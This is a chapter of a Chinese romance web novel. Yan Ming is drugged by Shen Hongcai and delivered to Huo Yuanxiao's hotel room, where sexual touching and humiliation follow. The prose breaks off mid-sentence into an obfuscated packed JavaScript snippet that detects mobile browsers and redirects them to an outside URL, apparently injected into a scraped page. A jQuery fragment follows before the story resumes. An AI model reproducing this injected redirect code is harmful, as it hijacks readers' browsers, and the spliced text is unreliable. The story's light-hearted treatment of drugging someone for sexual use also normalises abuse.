视线里一片昏暗,晏明挣扎着从床上爬起,他头重脚轻刚一站直双腿突然软了再次跌回到床上。
晏明的外套不知道什么时候被脱去,上身只剩一件单薄的背心。他双手被领带勒得血液不通,晏明张嘴咬住死结,试图用牙齿解开禁锢。
时间一分一秒过去,晏明热汗湿了脊背,直到下颌脱力也没有咬开死结。他的身体正在产生难以言喻的兴奋,皮肤滚烫,两腿发酸,下腹似有一团火焰炙烤着他。
“有人吗……”晏明□□,连说话都没有以往中气十足。
晏明努力往门口爬去,裸露的皮肤接触到冰凉光滑的床单泛起一阵麻痒,他脑袋越发昏沉,视野里的一切变得模糊不清。
房门被推开一道缝隙,客厅明亮的灯光洒入门后一角。进门的男人没有开灯,他单手解开西装随意搭在别处,服帖的黑色衬衫勾勒出他恰到好处健硕而不夸张的肌肉线条,领口随性半敞,不菲的袖扣散发出低调沉稳的微光。
床上人背对他而躺,沉重的呼吸声在安静的卧室内起伏。霍远霄在床边坐下,抬手抚上青年绸缎般细腻紧致的肌肤,似在抚摸小动物,平淡的眸底没有沾染一丝情欲。
手掌沿着年轻的腰线缓缓向上,从肋骨摩挲到胸前,指尖拨弄,青年敏感的弓起脊背。他没有过多流连,手掌转而穿出领口捏住青年的下颌扳向自己。
晏明身体燥热难耐时,感受到了一股从室外而来的凉意。像是夜晚的风,又好似冬日的雾凇,对方微凉的手掌在他身体肆意地掠过,触碰到的每一寸如同过电一般,缓解他身体燥热地同时却也让他口干舌燥。
晏明下意识握住对方修长的手想让他多碰一碰自己灼热的部位,这只手不尽他意,捏住他的下颌向一侧扳动。
似乎又被他手上的领带吸引住视线,对方拎起他手臂,对方解开领带的手法并不粗暴,反而缓慢温柔,男人凑近,晏明听见他平缓的呼吸,嗅到他身上淡淡的雪松香。
领带在男人手里仿佛成为了听话的宠物,他三两下便解开了晏明手上的禁锢。
晏明手腕上赫然一道红色印记,男人指腹摩挲着那处摩挲的肌肤毫无征兆地用力按下。
晏明骂骂咧咧叫道:“你弄疼老子了。”
对方手上动作一顿,随之床头灯亮起。
晏明即使闭着眼睛也觉得那亮光刺眼无比,凉爽的手掌要从自己身上抽离,他艰难地睁开沉重的眼皮,混沌的视野里显露出一个身型优越的男性轮廓,晏明不满地嚷嚷:“凉快,别走。”
□*□
“抱一会儿怎么了?”
“让我抱一会儿,就一会儿。”
晏明面色潮红,声音沙哑,被药折腾地色欲熏心。
霍远霄眉头不准痕迹地皱了一下,大手拎起晏明腰带把他扔到床上,平和的眼底情绪极淡:“Nils。”
刚整理完合同正要出门的Nils听到召唤,立刻来到卧室门口,霍远霄衣衫整齐面无表情。
Nils看清床上的人后背冷汗直冒,霍远霄喜欢男色这件事在小圈里不是秘密,这次来沪市出差东道主薛盛风为招待好霍远霄,方方面面妥当,连男人那档子事都考虑到了。物色了一位干净漂亮的男孩送给霍远霄。下午他把房卡给了男孩,让男孩在房间里乖乖等霍远霄,而后他和霍远霄开会去,之后发生了什么又怎么替换成了晏明不得而知。
“我的失误,我去查监控。”Nils大气不敢喘,在得到霍远霄应允后快步出门。
卧室里重回寂静,晏明听到有人问他:“你怎么来到这里的?”
晏明耳朵嗡嗡响,嫌烦不肯回答,张开手臂无赖地笑:“你让我抱一下,我就告诉你。”
霍远霄盯他半晌,伸出手臂。在晏明以为对方要抱自己时,喜滋滋地张开双手,下一刻他被勾衣服拎起来,霍远霄手臂青筋微起,稳如泰山地身躯令他拎起晏明毫不费力。
晏明像条狗似的被霍远霄拎过客厅扔进浴缸,在他还没反应过来自己怎么进去了一个滑溜溜的地方,一道强烈地冷水柱直冲晏明脸上。
水柱呲肌肤上留下一阵痛感,刺骨的凉水接触到晏明高温肌肤的刹那,冷热交加仿佛掉进了冰窟窿里。冷水呛进了晏明鼻腔嘴里,他狼狈的躺在浴缸里浑身湿透,背心紧紧贴在他起伏颤抖地胸膛。
晏明猛咳了好几声,浑身凉透,终于清醒。
霍远霄握住淋浴头居高临下的看他:“凉快了吗?”
晏明扑腾着想起来,脚一滑又重重坐回去:“霍远霄我操你大爷!”
刚关闭的水柱重新呲到晏明嘴上,霍远霄眯着眼睛笑问:“你说什么?”
“我……操……你……大……”
晏明扶着浴缸猛烈咳嗽,无论什么角度也逃脱不开向他冲来的冷水。
直到晏明闭紧唇瓣不再吭声,霍远霄重新关上阀门,向不断咳嗽的晏明伸出手。
晏明瞪他一眼,梗着脖子倔强地往浴缸外爬。南方没有地暖,浴室里冷得晏明牙齿发颤手脚不听使唤。他跌跌撞撞地迈出浴缸,一屁股坐在了地上。
他吸了吸鼻子,咬紧牙关往起爬,一双手穿过晏明手臂,接着晏明被托起站稳。
晏明挣脱他一言不发跑出酒店,门外夜晚冷风一吹,晏明环住双臂懵逼了。
不远处海上游轮开过,跨海大桥上五光十色。
“???这是哪儿啊?”
晏明忍着寒冷往前走了一段,全然是陌生的地域,他在京市跑外卖送货大街小巷都认识,可眼前繁华的高楼大厦川流不息的人群车辆,他确定这里不是京市。
晏明一摸口袋,没钱没身份证,现在离开霍远霄他寸步难行。
晏明气得踢一脚门口的破铁皮箱子,箱子上的圆脑袋瓜转过来,迎宾机器人发出机械的孩童声:“客人你是不是心情不好,我来为你讲笑话开心一下吧。”
“某天食人族抓到打工人,可又把他放了,为什么?”
“因为打工人太苦了。哈哈。哈哈。哈哈哈。”
晏明:“…………”
他觉得眼前
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200659|164868||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这个铁皮箱子在嘲笑自己。
无处可去的晏明最终还是回到了房间门口,脸色惨白地蹲在墙边唉声叹气。
房门打开,一条宽大柔软的毛毯罩在晏明头顶。
“我、我、不用你假好心……”晏明特想潇洒地把毛毯扔回给霍远霄,但他太冷了舍不得,忙不迭地用毛毯裹紧自己,发丝上的冷水沿着额头滑进眼睛里。晏明眨眨眼,鼻尖,眼睛通红。
“冷不冷?”
霍远霄为晏明擦头发,仔细瞧着晏明七不服八不愤,想怒骂自己又不敢的脸。
“你知道这是哪里吗?”
霍远霄擦他绯红的眼睛,晏明一疼推开霍远霄的手:“我怎么知道?我还想问你呢。”
霍远霄扔掉毛巾走向客厅在沙发上坐下:“这里是沪市,我出差的酒店。”
晏明光着脚跟在他身后,地面被摆出一个又一个水印。
“你别逗,我睁眼前还在沈家,沈弘才给我喝了一杯水……”
晏明有点回过味来:“操啊!那杯水有问题!”
答案显而易见,沈弘才求他说情不成就用损招,把他送给了霍远霄。
“这个绿豆眼啤酒肚的老王八,真坏啊。”
晏明打个喷嚏坐在霍远霄身边,哆哆嗦嗦地捧起桌上热茶一饮而尽,想了想问:“我这是不是也算出差了?”
“有出差补贴吗?霍老板。”
霍远霄笑看晏明:“你想要多少?”
“两万?”晏明观察他表情,越说越没底气,“一万?呃……八千?五千?”
霍远霄既不答应也没拒绝,端起热茶悠悠喝了一口。
Nils敲门进来:“问清楚了,沈弘才说服了薛总有更适合的人选送你,之前拿了房卡的人便没来。”
霍远霄会意,与他猜测的一致。他眼底不见喜怒,没人猜到霍远霄在想什么。
晏明捕捉到“之前拿了房卡的人”,再一想霍远霄进门时对自己的态度,显然是把自己当成了那个“拿了房卡的人”。
晏明不太好形容自己的心情,所以霍远霄不喜欢沈瑜清吗?不然怎么会喜欢的人生死不明地情况下,这么快就找新欢?
“你订机票,明天把他送回沈家。”
Nils点头,瞧一眼湿漉漉的晏明:“跟我走吧,我带你开一间房。”
“我身上没有身份证,能开房,能坐飞机吗?”
Nils:“开房不复杂,只是坐飞机需要,你不用操心我给你办。”
“那挺好。”晏明有点甜头就高兴,他也能坐上飞机了。
实则他不是第一次坐了,沈弘才带他来时他也坐了,只是他昏昏沉沉没有印象。
当晚晏明享受了豪华套房,又是拍照又是给李小羽打电话吹嘘,然后揣了一堆酒店试用装在口袋里。
可能是药效没过的缘故,睡到半夜晏明身体又起了反应,自己手动了一发才消火。
次日天气阴沉,Nils告知晏明海上台风将至,飞机延误今天他回不去了。